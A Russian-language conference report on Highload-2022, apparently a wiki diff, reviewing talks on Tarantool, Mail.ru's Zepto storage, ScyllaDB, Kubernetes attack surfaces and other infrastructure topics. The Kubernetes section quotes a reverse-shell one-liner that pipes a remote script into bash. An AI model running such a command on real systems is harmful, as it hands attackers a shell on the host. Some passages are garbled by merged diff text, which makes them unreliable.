Изменения

Highload-2022: Отчёт Виталия Филиппова

27 274 байта добавлено, 22:33, 1 декабря 2023
м
Нет описания правки
'''Общее впечатление:''' на удивление, довольно бодро. Весенний хайлоад — 2021, перенесённый на весну 2022 — был значительно тухлее, на нём я тоже выступал, но о докладах даже заметок себе вменяемых не оставил.
Вообще, прошлые хайлоады я не мог отделаться от мысли, что каждый год выступают одни и те же лица с одними и теми же темами докладов — Сысоев и nginx, постгрес-про, mysql, куратор, erlyvideo, одноглазники с java-микросервисами, какое-нибудь badoo на php… в общем всё норм, но уже поднадоедало. Что случилось сейчас — не знаю, возможно, «одни и те же лица» уехали в сторону горы Арарат. :-) хотя Максим Лапшин с erlyvideo был. :-) но так или иначе, повторюсь — некое ощущение новизны всё-таки было. А может, это меня отпустилопопустило, не знаю.
Проходила конференция снова в Крокусе, стоила для участников, кажется, 60к (в 2013 было 21к… инфляция :D). Организация была вполне приличная, всего хватало — и места, и плюшек, и еды, и гардеробов, и стоек регистрации. От практики раздачи тонн макулатуры, видимо, отказались, и слава богу, спину ей только оттягивать. Залов параллельно было аж 8, но, к счастью, «основных» 4 — в общем, угрызаемо.
== Тарантул для самых маленьких ==
'''Константин Владимир Перепелица (Tarantool) — Архитектура надёжной In-Memory-СУБД на примере Tarantool'''
Очень общий доклад про Tarantool, просто обзор архитектуры. Для тех, кто не знает, сначала это был заменитель memcached (кэш в памяти), а потом туда накрутили сохранение копии снимка данных на диске, репликацию, индексы, транзакции, Lua, хранение данных на диске, а индексов в памяти, MVCC и даже SQL… Короче, теперь это целая «платформа in-memory вычислений с гибкой схемой данных для эффективного создания высоконагруженных приложений, включающая в себя базу данных и сервер приложений на Lua». Из всего набора неизменной осталась только однопоточность и то, что что-то всегда держится в памяти — либо вообще все данные, либо хотя бы все индексы.
Есть репликация, синхронная и асинхронная, в том числе master-master, работающая через «векторные часы», то есть версия ключа — это несколько версий, по одной на каждую реплику. Если ключ меняется на обеих репликах, будут версии (2, 1) и (1, 2) и будет конфликт, который самим тарантулом никак не разрешается и разрешать его должны вы :-).
В остальном остановиться почти не на чем, доклад реально очень базовый. Интереснее было бы послушать про какие-то более хитрые вещи, возможно, про какие-то хитрые случаи практических применений. Про MVCC потом ещё был отдельный доклад на следующий день, но тоже, честно говоря, не очень интересныйскучноватый.
А, ну и мемы про тарантул смотрите тут — https://t.me/notcrashing.
От себя добавлю, что та самая «балансировка нагрузки» и вообще распределение объектов — это один из наиболее базовых аспектов устройства любой системы хранения и именно он во многом определяет дальнейший вектор развития архитектуры системы. Вообще все стороджи можно поделить на классы… класса, наверное, на 3… в зависимости от применённого подхода к распределению данных. Так что на самом деле рассмотренный в докладе вопрос гораздо значительнее, чем может показаться на первый взгляд :-).
 
P.S: Вопрос Вадиму: А у вас есть автоматика, которая определяет, отвалившая реплика ушла совсем или ещё вернётся? Коллега мне на ухо: Есть, её зовут Женя…
== Жизнь перф инженера в Pg Pro ==
Так и масштабировались на 4 ТБ дисках, в итоге домасштабировались до 3000 серверов и стало дорого и неудобно. Захотелось снизить это число раз в 10. Для начала дизагрегировали из писем вложения, по этому поводу был отдельный доклад: [https://www.youtube.com/watch?v=O247Hq3ego4 Как смигрировать 50Пб в 32 без даунтайма? / Альберт Галимов, Андрей Сумин (Mail.ru)] с хайлоада 2016.
Соотношения объёмов данных и нагрузки: мета — 2 ПБ и 3 млн rps, тексты писем — 15 ПБ и 80 тысяч rps, вложения — <s>50</s> 35 ПБ и 8 тысяч rps. В итоге в этом докладе речь идёт только о хранилище текстов, хранимых просто в виде блобов.
Хранилище назвали '''Zepto'''.
Вышло в общем-то очередное [https://www.usenix.org/event/osdi10/tech/full_papers/Beaver.pdf Haystack]/[https://github.com/chrislusf/seaweedfs SeaweedFS]/MDS-подобное хранилище. MDS — объектный стородж ЯндексаВ Яндексе MDS, про который шла речь в докладе Вадима выше и, например, тоже похожий (упоминания также есть в [https://habr.com/ru/company/yandex/blog/311806/ статьях на хабре], немного дурацкое название, так как в Ceph, Virtuozzo, LizardFS и других MDS называется Metadata Server, а у нас это весь сторадж).
Общие черты'''Похожести:''' * Append-only volume-ы с переупаковкой. То есть, объекты хранятся в дописываемых всегда в конец больших файлах-томах вперемешку с заголовками, при удалении из тома сразу не удаляются, а только помечаются удалёнными - удалёнными — а потом, когда количество удалённого превышает определённый %, приходит отдельный процесс (называемый по вкусу compaction/defrag/gc/repack) и перезаписывает том целиком, на этот раз действительно удаляя удалённые объекты. Волюмы fallocate-ятся, чтобы исключить фрагментацию места в ФС.* Есть «шарды», являющие собой группы из N (2, 3 или ещё скольки-то) таких томов на разных машинах, связанных репликацией вместе. То есть, запись идёт в пары или тройки томов. В терминологии Ceph шард — по сути, PG (placement group). В терминологии zepto - "бакет" zepto — «бакет» (и сам волюм тоже, видимо, называется "бакет"«бакет»).* Клиент хранит ID шарда (бакета) у себя и для чтения объекта обращается к конкретному шарду. Центральный сервер метаданных, знающий, какой объект где лежитлежат все объекты, отсутствует.* Запись через page cache. fsync-ов после каждой записи и строгой консистентности формально нет. fsync просто раз в секунду выполняется в отдельном потоке, чтобы стимулировать сброс данных на диск. Но так как бешеные уборщицы не ходят по залу и не дёргают в произвольном порядке целые датацентры из розеток - розеток — данные не теряются.
* Есть «прокси», предоставляющие API доступа к хранилищу. У них они называются zeptoproxy и ставятся прямо на клиентские машины.
* Есть отдельный слой управления кластером и он же отвечает за балансировку записи. У mail.ru он называется statusservice.
* EC (коды коррекции ошибок) через конвертацию волюма целиком после закрытия его на запись. Хотя в zepto в весьма примитивном варианте.
Отличительные черты'''Отличия:'''
* Волюмы/бакеты.
** В zepto нет индексов (почти!). Объект идентифицируется прямо смещением внутри тома.
** А как же удаления, спросите вы, если смещение — это ID? А удаления реализуются через индекс удалений («индекс дырок»), добавляемый при сборке мусора. Видимо, вида «старое смещение &rarr; новое смещение»на каждую дырку. Ну такое… :) в худшем случае (если сильно изрубить всё удалён каждый второй объект) дырок будет столько же, сколько объектов, но в труху удалениямисреднем — типа, всё равно индекс большой получитсялучше.** В zepto объекты нарезаются на странички пишутся страничками по 4 КБ и от , у каждой странички считается есть контрольная сумма crc32.** Размер одного бакета — 2 ГБ. Логично, ибо под смещение выделено 32 бита. Плюс ещё 32 бита - бита — ID бакета. Соответственно, общий лимит места в zepto-кластере - кластере — 16 ЭБ; под почту, чего которой всего 15 ПБ, этого хватает с головой :)** Бакеты складываются в 2 ТБ разделы дисков и один раздел (~1000 бакетов) обслуживается 1 процессом "bucketservice"«bucketservice». В ноде 72 диска по 18 ТБ, но под Zepto на них обычно выделено только 4-6 ТБ, так что на одной машине живёт примерно 216 bucketservice-ов.** Большие объекты нарезаются на части по 64 МБ, сначала пишутся части, в конце — индекс, ссылающийся на эти части.** После заполнения бакет закрывается и в него больше не пишут, а только удаляют и потом переупаковывают. Процесс-переупаковщик бакетов называется bucketcompactor.* Распределение объектов - объектов — перед каждой записью идём в statusservice и спрашиваем у него, в какой бакет писать. ** При этом бакет на запись блокируется. При удалении аналогично, тоже блокировка. После записи разблокируем и обновляем версию бакета в statusservice. Версией служит просто последнее смещение в бакете.* Консистентность удалений * При отвале клиента — это мои фантазии, в докладе не было, но по- другому вроде никак — должен следовать отвал блокировки по таймауту, перевод бакета в readonly и его последующая синхронизация, что полностью эквивалентно Hadoop с его Lease Recovery.* Репликация — клиентская, запись — кворумная.** То есть, клиент (прокся) напрямую соединяется с несколькими серверами и пишет свои данные на каждый, и считает запись успешной при записи на 2 из 3 серверов. При неуспехе — повторная попытка в другой бакет.** Консистентность удалений — если какой-то bucketservice лежит в момент удаления - удаления — другие сохраняют к себе запись типа "foreign delete"«foreign delete», т.е. "данный то есть «данный объект был удалён в другом месте" месте» и после его поднятия досылают ему записи удалений.* Восстановление - * При потере одного бакет переходит в readonly до починки.** Восстановление — тупое, ручное (zeptoctl fix) и только полным копированием тома на отсутствующие/повреждённые реплики. Причём вообще, вроде, в разрезе разделов, а не отдельных волюмов.* Слой управления (statusservice)** Держит индекс бакетов в памяти, обновляет его дельтами. 2 основных метода API: дай бакет для записи, дай адрес по бакету.** Пошардирован по дц. Знает про все бакеты, но мастер для своих бакетов и слейв для чужих, свои определяются по остатку от деления на 3 (датацентра 3).* EC** В супер-простейшем формате — побитовый XOR. То есть реализована только 1 схема, x1.5, то есть EC 2+1.** Вообще открою страшную тайну: в любом EC первый чанк — как правило, XOR — к такому виду можно привести любую матрицу EC и это делается в том же jerasure для упрощения вычислений. Так что в XOR ничего зазорного нет. Но в докладе было упомянуто, что XOR побитовый, и вот тут я уже не уверен — если это значит, что коды генерятся не как (первый байт XOR второй байт), а как (первый бит первого байта XOR второй бит первого байта), то это слегка изврат.** В XOR данные перекладываются только после заполнения. Запускается «полторирование» и перекодирует бакет из x2 или x3 в x1.5.** Казалось бы, тут должны быть сосиски, то есть EC-кодирование всего волюма-колбасы а-ля seaweedfs, но этого нет. Кодируется каждый объект отдельно. А чего тогда, писали бы сразу в EC…* Жёсткая схема распределения места** Как я понял, это значит, что при добавлении серверы/разделы сразу разбиваются на группы так, чтобы полностью покрыть ими всю ёмкость, и потом бакеты собираются только уже в конкретных заданных сочетаниях. И, видимо, как-то переоптимизируются при добавлении/удалении дисков. Я в Vitastor со своим lpsolve-ом тоже начинал с подобной идеи…* Есть сжатие (zstd), которое позволяет 15 ПБ, превращённые с 2x репликацией в 30 ПБ, превратить обратно в 15 ПБ :).
<pre>- bucket-видимо pgИтог: ужали хранилище с 3000 серверов до 1500. ан нет, это еблоб реплицированный. волюм seaweedfs. правда странички по 4 кб. есть crc на 4 кб. фоновые скрабы. нахуя 4кб.. если хедеры мелкие- версия бакета = оффсет Используют ещё в файлеоблаке (которое mail. оru диск, дельты, привет!- zeptoproxy клиент прямо рядом с приложением- 1 диск = 1 bucketserviceвидимо) — 80 ПБ данных в x1. разные порты. осд короче. фоновые - bucketcompactor- statusservice. индекс бакетов. дельтами получает. держит карту бакетов 5 и в памяти. api: дай бакет сниппетах для записи, дай адрес поиска по бакету. пошардирован по дц. мастер для своих бакетов %3- размер бакета почте — 2 ТБ. пиздец же, мало. а они довольны, типа меньше чем было- fallocate. врайты 4 ПБ в конец. мало меты. мало лишних иопс- кворумная запись. пись. пись- x2, x3, x1.5- xor. полторирование. ебать хитрая сосиска. после закрытия. ну видимо конвертация сосиски после. а шо с удалением из ec?- схема добавления дисков Средний размер объекта в кластер. жесткая. это как? а, видимо разделения места. я так умею на lpsolve, лолъ- пары это logical partitions- ретраи на пут, на гет. все ясно. а если данные убрали из памяти, стрим?- zeptoid=bid+recordid, 64bit. 2^64 байт? = 16 ЕБ. смещение что ли? почта = 15 пет, им похуй. ебааааать, индекс удалений. ну да, забавно сделано- delete = put в конец. lock. compact. по почте 40 КБ при времени доступа 10 мс (90% удалений как и везде. а EC?- консистентность делете: ну это томбстоуны — 30 мс), понятно... а, не совсем. есть foreign del, форвард другому бакету- zeptoctl. move in = новая группа. тоже приоритет пустых. потом будет перекос по get-ам. есть масштабирование. средний du. не, стоп, а нагрузка?- 18Т диски, 12Т вложения, 6Т письма, 20-40 иопс на диск. вложения отдельно, не зепто. 60 дисков на сата-полке. сата?- zstd. 15т -> 30т -> 15т- серверов 3к -размер объекта в облаке > 1.5к. индексы в 250- облако 80 пб, х1.5. сниппеты поиска МБ при времени доступа 500 мс (90% — 2.4п.- гибридная схема тоже хотят.- удаления накур. лишнее ио.- ручной move inсек), fix. боязнь админовв общем, ага.плюс- минус как смигрировать 50пб в 32- синк по смещениям?- Вадим ты чота завернул блеау голого HDD. 6 дисков 15 пар- процессы порты. ец удаление. нагрузка. сата полка. синк по смещениям?- запись под локом. статус сервис лочит. епт. 72д по 6т.- цеф им нинужен. как удаления из ец хз лол, он не ответил- большие файлы чанкуются по 64 мб.- zeptoId какой-то еще последней записи. емое... в которой все. ааа. понятно. она с чанками</pre>
Что ещё хотят поулучшать: добавить автоматики (её нет в том числе из-за боязни админов — мало ли автоматика сойдёт с ума), что-то придумать с лишними iops-ами при удалении, попробовать сделать гибридную схему хранения (x3 &rarr; x2 &rarr; x1.5). '''В общем, ждём ебилдов (c).'''
== SPQR для постгри ==
'''Денис Волков, Кирилл Решке (Yandex Cloud) -  — SPQR: горизонтальное масштабирование PostgreSQL'''
Пытался смотреть доклад в режиме вытесняющей многозадачности параллельно со сцыллой.
 
В общем, речь шла об https://github.com/pg-sharding/spqr — Stateless Postgres Query Router.
 
Идея — прозрачное шардирование постгреса для бедных. Ставим проксю, которая парсит запросы. Те, что имеют локальность, перенаправляет на определённый шард. Те, что не имеют локальности, но простые и их можно легко смержить из общего результата — собирает со всех шардов. А те, с которыми вообще не понятно, что делать — перенаправляет в выделенный шард «world».
 
Ну и вроде как сделали и оно вроде как работает. И даже какую-то перебалансировку шардов вроде бы умеет. «Разработка Шредингера», как они сами сказали — то ли в проде, то ли не в проде. В докладе даже была ссылка на демонстрацию, но это на самом деле не так интересно, интереснее то, насколько это применимо для реальных приложений, так как в реальных приложениях запросы всё-таки не ограничиваются select from table where id=… Про это речи не было — тут слушатели вольны потестить сами :-).
== Как сцилла стояла раком ==
'''Илья Орлов (STM Labs) -  — Укрощение мифического чудовища: реальный опыт промышленного использования ScyllaDB без прикрас''' Они решили попробовать сциллу. Решили потому, что им нужно было что-то быстрое, чтобы архивировать старые товары (30 млн записей в сутки). В мегабайтах в секунду не так уж и много, запись в среднем 10 КБ, так что это всего 3.4 МБ/с. У сциллы же были заявлены 12500 rps на ядро (400 МБ/с на 32-ядерном сервере), либо 240 МБ/с на HDD, ну и вообще, мол, shared nothing и вся такая быстрая (туда же, кстати, главный тарантул уполз — Костя Осипов)… Архивацию сделали в 2 этапа — сначала перекладка, потом валидация — проверка наличия записи в архиве и только потом пометка записей в исходной mongodb как подтверждённых и удаление. Провели тестирование через cassandra-stress-test, получили 45 МБ/с и 4634 записи в секунду (400 млн записей в сутки), решили, что всё отлично. В прод! :) Вместо этого всё встало раком. Сначала получили с учётом валидации 231 запись в секунду (20 млн в сутки). Потом вообще — 35 записей в секунду (3 млн в сутки) и отвал 50% операций записи по таймауту. А компакшен стал выжирать 100% CPU… ТУПИК (картинка: пушной полярный песец). Попробовали переехать на SSD — ни фига. Попробовали отключить автоматический компакшен — стало ещё хуже, ручной вообще не мог завершиться, включили обратно. Отказались от индексов — тоже не помогло. А помогло переключение сжатия с zstd на lz4. Сразу ушли таймауты. Потом вообще убрали валидацию и потом ещё поускоряли монгу. В итоге получили-таки скорость архивации 34 МБ/с или 300 млн записей в сутки. Причём оказалось, что если операция записи таймаутнулась — это не значит, что данные не записались, и повторять попытку зачастую не надо, иначе наоборот плодятся лишние данные. Ещё оказалось, что есть какой-то autobootstrap, который может убить весь кластер и он по умолчанию вроде как false, но при переезде со старой версии — true. И у них была какая-то опасность по этому поводу. '''Итог:''' Сыровато. Документация не в 100% верна. Пригодна только как большая хеш-таблица, индексы — г*но. zstd — если включать, то только до первых таймаутов. Компакшен неуправляемый. Из доступных в опенсорсе нормальная стратегия — STCS (Size-tiered compaction strategy), а лучшая — инкрементальная, но она есть только в платной версии. В редких случаях даже добавление ноды может «помочь» потерять данные. '''Но новое пробовать можно и нужно, иначе откуда возьмётся прогресс? :)'''
== ZFS в ZFS → WA и тормоза ==
= День 2 =
== ? == Егор Хайруллин (Яндекс) - Как перейти от batch к streaming на примере рекламной контент-системыУтренние доклады пропустил. Спал. Звиняйте, дядьку.
== Graphviz от безопасника ядра ==
'''Александр Попов (Positive Technologies) -  — Безопасность ядра Linux: в теории и на практике''' Сказ о том, как крутой безопасник открыл для себя Graphviz и использует его как Wiki :-D. Рассказывал о двух вещах: [https://github.com/a13xp0p0v/linux-kernel-defence-map linux-kernel-defence-map] и [https://github.com/a13xp0p0v/kconfig-hardened-check kconfig-hardened-check]. Первое — «вики» в формате Graphviz, где он собирает обзорную информацию о методах самозащиты ядра Linux от дыр. Интересно и если вы не разбираетесь в безопасности ядра, и если разбираетесь, так как он, когда сам делает доработки, тоже на это же ориентируется. Второе — скрипт для проверки опций безопасности, проверяет настройки сборки, конфигурацию ядра, опции командной строки ядра. Там же в Readme есть ссылки на рекомендации по настройкам ужесточения безопасности ядра. Которые, конечно, не обязательно включать все, так как они не бесплатны. В общем, вот это в основном и было содержательной частью, на самих дырах он сильно не останавливался, только чуть-чуть на базовых вещах. А, да, из юмора: прозвучал вопрос: а как у вас с поддержкой процессора Эльбрус? — Он ответил: ну, типа, она, по-моему, ещё не включена в мейнлайн… — и тут ведущий добавил: ну да, сейчас, похоже, скорее поддержка Арарата хорошо идёт.
== Примитивные хаки k8s ==
'''Лев Хакимов - Хакимов — Хакнуть K8s: разбор пэйлоадов и способов защиты''' Нормальный доклад, но «разбор пейлоадов» — это ну очень громко сказано. Начал аж с того, что контейнер — это не ВМ 🤡. А потом всё как-то свёл к тому, что уязвимый контейнер — это или privileged, или с какими-нибудь --cap-add (плюс-минус то же самое), или на худой конец hostNetwork/hostIPC/hostPID true. В итоге можно либо смонтировать хостовую ФС, либо позапускать контейнеры через сокет докер-демона, либо выполнить reverse shell. Ну, например, если есть CAP_SYS_MODULE — то вставить модуль ядра, запускающий <tt><nowiki>curl https://reverse-shell.sh/IP:PORT | bash</nowiki></tt>. Мда, exploit as a service, который мы заслужили… Далее сказал, что K8s RBAC 🤡 не защищает от эксплойтов privileged докера 🤡. Для защиты есть Admission Controller, Pod Security Policy, Pod Security Standards (с 1.23), SecurityContext и Network Policy. Также в тему ResourceQuotas & LimitRange. Искать дыры посоветовал [https://github.com/carlospolop/PEASS-ng PEASS-ng] или [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS linPEAS], или [https://github.com/cdk-team/CDK CDK]. Для аудита — [https://github.com/aquasecurity/kube-bench CIS Kubernetes Benchmark]. Всё.
== DBA ловит тормоза диска через eBPF ==
'''Пётр Бобров (QIWI) -  — Мониторинг черных ящиков и котов в мешке через eBPF'''
== MVCC Oracle DBA открыл для себя [https://ebpf.io eBPF], точнее, [https://github.com/iovisor/bcc bcc], на самом eBPF покодить ему так и не довелось. Да и ничего особо важного — никакого, например, бага в тарантуле ==ядре… или в оракле… или в дисках… — через eBPF он не нашёл, просто написал экспортилку данных из bcc в Telegraf и нарисовал дашбордик. Ну дашбордик и дашбордик. https://github.com/unPeter/bcc2telegraf — вот это поделие.
«Если вендор не идёт навстречу, УК конечно нарушать не предлагаю, но уверен, что на рынке есть люди, позитивно настроенные на анализ» (c). Пересказывать, что такое eBPF, я особо не буду. Вкратце — через него можно вставлять кусочки своего кода в ядро в целях отладки/мониторинга/ещё каких-то. Например, можно влезть в любую функцию и напечатать её параметры. Правда, нельзя напечатать локальные переменные, по крайней мере, я сходу не осилил и нашёл свой баг другим путём. В остальном — думаю, сами прочитаете, если интересно. ИМХО ничего, что нельзя нагуглить, докладчик не рассказал :). == Матрасы в тарантуле == '''Александр Ляпунов (Tarantool) -  — Как работает MVCC в In-Memory-СУБД''' Рассказ про MATRAS. Начал с аналогий — мол, человек разумный, а комп нет, если жена отправит вас в магазин и скажет «купи пакет молока, если будут яйца, купи десяток», то все нестандартные ситуации, там, −1 пакет молока на полке… вы, вероятно, обработаете сами. ''/Ну не знаю — если 2 программиста потянутся за 1 пакетом молока… хз, могут и зависнуть, жёнам придётся идти спасать от дедлока, возможно, кого-то придётся пристрелить…/ — прим.вред.'' Ну а MVCC нужен, чтобы не пускать всех в магазин по одному. Вместо этого создаём каждому покупателю свой снимок магазина, а кассир потом разрешает конфликты ''/и упираемся в кассира/ — прим.вред.'' В общем, в тарантуле MVCC реализован через матрас — Memory Address TRanslating Allocator(S) и через ещё один специальный аллокатор для read view. И ещё через сохранение истории изменений, то есть каждая строка содержит флаг «есть история или нет», если нет — просто читаем, если есть — проходим по истории. Уровень изоляции — serializable, но не snapshot, снапшот создаётся отложенно. Подробнее можно почитать тут: https://habr.com/ru/company/vk/blog/525484/, https://habr.com/ru/company/vk/blog/540842/
== Экодиктант за 2 месяца ==
'''Станислав Жуковский, Василий Шалимов (Старботс РФ) -  — Экодиктант 2021: highload-проект с нуля за 2 месяца''' А вот этот доклад сделал мой второй день конференции. И хоть докладчик и говорил «вёб» (через ё) и «рпц» вместо rps (ЭР ПЭ ЭС), очень приятно было послушать, что где-то ещё есть люди, которые могут сесть и БЫСТРО и ПРОСТО, без 200 микросервисов, что-то запилить. А то в последние годы уже как-то начал привыкать к тому, что разработка ПО в компаниях обычно как идеальный газ — занимает все ресурсы, которые на неё выделишь, и в итоге сидит человек 100 и все чем-то заняты, а баги исправляются по полгода. А фичи разрабатываются по 2 года. К ним пришёл заказчик и сказал — мы тут писали ТЗ 8 месяцев, а вы нам это закодьте за 2. Причём заказчик был очень начитанный, ТЗ было очень подробное, там была прорисована архитектура, 100 микросервисов и всё такое прочее. Но, к счастью, заказчику ответили — да, это всё замечательно, но не за 2 месяца. ''/Микросервисы — г@вно!!! Парни, вы молодцы, что на это не пошли! Тупой монолит в 99.9% случаев гораздо лучше!/ — прим.вред.'' В итоге просто писали на Django, причём даже с jQuery. ''/ну да, тоже уже устаревшее г@но, но если умеешь — пиши на том, на чём умеешь/ — прим.вред.'' И только самая нагруженная часть с самим «диктантом» была на React. Кратко таймлайн разработки, который почему-то начинается с 11 недель — не совсем 2 месяцев до диктанта, ну да не суть:* −11 неделя: макеты по дизайну* −10 неделя: выбрали сервер (uWSGI), балансер (HAProxy), сверстали шаблоны django, и сразу выставили в веб (для теста, видимо)* −8 недель: развёртывание в яойблаке и бенчмаркинг я-танком, анализ 500-ых ошибок* −7 недель: припилили React, аутентификацию через JWT, пробенчили эти самые JWT (выпуск/обновление токенов)* −6 недель: переносили старые учетки из php laravel приложения, пришлось припиливать устаревший 128-битный bcrypt к django* −5 недель: отказались от сервисов рассылок mailchimp, aws — дорого и вообще не дали бы объёмы — в частности, aws сказал «15000$ в год + 3 месяца рассылайте 10%, потом, может, разрешим полный объём». Подняли свой почтовик — postfix с DKIM и всем прочим. Сразу сделали 2 домена и были очень рады, что 2, так как один то и дело улетал в блокировку (всякие DNSBL), они вступали в диалог с админами блоклистов, а тем временем юзали второй домен. В итоге рассылали 70 писем в секунду и потеряли < 1%. Но, сказали, лучше бы было 5 доменов. Метрики доставки отслеживали в Zabbix.* −4 недели: настраивали защиту от DDoS и CDN в облаке мегафона. Мегафон помогал. Хватило 1 уровня защиты.* −3 недели: выкладка контента вовсю. Словили прикол — приходил один и тот же юзер, жаловался «у меня не хватает лимита, не загружаются картинки» — в итоге лимит сняли… и ему хватило. Он загрузил логотип размером 1 ГБ.* −2 недели: финальная упаковка контейнеров в кубер, настройка автоскейлера.*: Тут Шалимов Василий (автор «вёба») опять выдал небольшой перл — мол, «реакт ничего не ел [в кубере], а вот джанга!..» — логично, чо. Реакт в браузере у юзера выполняется. Там и ест.* −1 неделя. Юзеры пришли регаться. 1 млн регистраций в час. После чего всё, ДИКТАНТ. Рады, что не поймали ''того, что обычно ловят'' в панамку! Говорит, у меня жена и 2 детей и на всякие онлайн дневники они часто ругались, а тут нормально все прошло — но пока делал, я им не говорил, что делаю. На всякий случай. :-) Было только 2 падения — в первом всё повисло из-за LIKE-запроса, во втором — упала варя (vmware) и, соответственно, кубер у мегафон-клауда. Полежали где-то час. Ну и потом неделя еще на обработку, а еще были оффлайн роли, отчёты, анкеты, какие-то подарки… Ответы на вопросы:* Почему не django fast api? — Не было времени.* Помогла ли django админка? — Да, но дефолтная туповата, на 3 миллиона юзеров, например, не рассчитана, повисает.* Мешал ли django orm? — Нет, ибо сложных запросов не было. Хватило. Но держали в уме, что может быть узким местом и присматривали.* Повторили бы опыт? — Нервный ржач…* Какие блэклисты почты? — Сходу не помнит, стандартные, было 13 названий. Это была отдельная задача для контент-менеджера.* Сколько был rps? — Не помнит, но нагрузочное тестирование делали почти на 1 млн. Регистраций был 1 млн в час.* Какого размера была команда? — Их было 7, а техподдержки мегафон-клауда, которые ими занимались — 21. Мегафон не знал, что их 7, когда узнал, был в шоке. '''Резюме:''' Используйте подходы MVP, делайте запас по железу. Кто-то (вроде меня) скажет — ну да, конечно, а как ещё? — НО! Порадовало именно то, что об этом рассказали! Так ведь сейчас не модно! Модно намудрить 10 слоёв, 100 микросервисов, обмазаться фреймворками, облачными сервисами, серверлессом… Так что — свернуть доклад в трубочку и разослать всем, кто делает «долго, дорого и сложно». Пусть учатся.
== DNS-aaS через SDN ==
'''Георгий Меликов (VK Cloud) -  — Полная изоляция клиентов в облаке для сервисов без изоляции на примере DNS''' Докладчик — наш друг из чатиков [https://t.me/sds_ru @sds_ru], [https://t.me/ceph_ru @ceph_ru] и [https://t.me/ru_zfs @ru_zfs], участник разработки ZFS. Вкратце итог: мультитенантный облачный DNS-as-a-Service через DNS-прокси, добавляющую суффикс в запрос, работающую через SDN. В общем, стояла задача — сделать изолированный облачный DNS-as-a-Service в облаке — то есть, чтобы один клиент не мог случайно увидеть DNS-ответы другого клиента — И ПРИ ЭТОМ не поднимать отдельные DNS-серверы на каждого, а обойтись одним, ибо это банально дешевле и заодно позволяет предоставлять нормальный rps тем, кто много обращается к этому DNS. Рассмотрели варианты:* OpenStack Designate — нет мультитенантности* bind views — оказался мультиплексором к N экземплярам bind и вообще он «экспериментальный» с багами* PowerDNS — нет мультитенантности и не хотят, говорят, если вам надо — поднимайте N экземпляров. Есть Lua, но на ней сделать требуемое не вышло, зато стали контрибьюторами в документацию — это было самое быстрое одобрение PR в жизни: примерно 10 секунд :-)* dnsmasq — маленький и опять нет мультитенантности* CoreDNS — и тоже нет тенантов* pdnsd — и тоже нет В итоге родили МОЩЩЩНЫЙ [https://www.youtube.com/watch?v=wnbTrVM8hXg&t=585s (c)] костыль. Решили добавлять в запросы суффиксы, например, domain -> domain.tenant1, и потом, соответственно, откусывать их в ответах. Для этого можно было написать свой DNS-сервер, но решили, что полноценный честный RFC-совместимый DNS-сервер писать довольно сложно, если допиливать готовый — доработки не примут, а поддерживать форк не хочется… и написали проксю, которая переписывает запросы (A, PTR) и перенаправляет их реальному серверу. А чтобы перехватывать и перенаправлять запросы, у них уже был под рукой SDN. То ли раньше был OpenStack Neutron, то ли и до сих пор ещё остался, но по факту сделали на SDN собственного разлива, который называется Sprut и поддерживает Network Functions. На этом и сделали проксю. 2 человеко-квартала и готово. Прототип на Python по RPS на 1 поток получился медленнее CoreDNS всего в 2 раза, то есть, даже питона оказалось достаточно для нужной производительности. Ну ок :-). «Сетевики пишут DNS».
[[Категория:Конференции]][[Категория:VitaliPrivateОтчёты о конференциях]]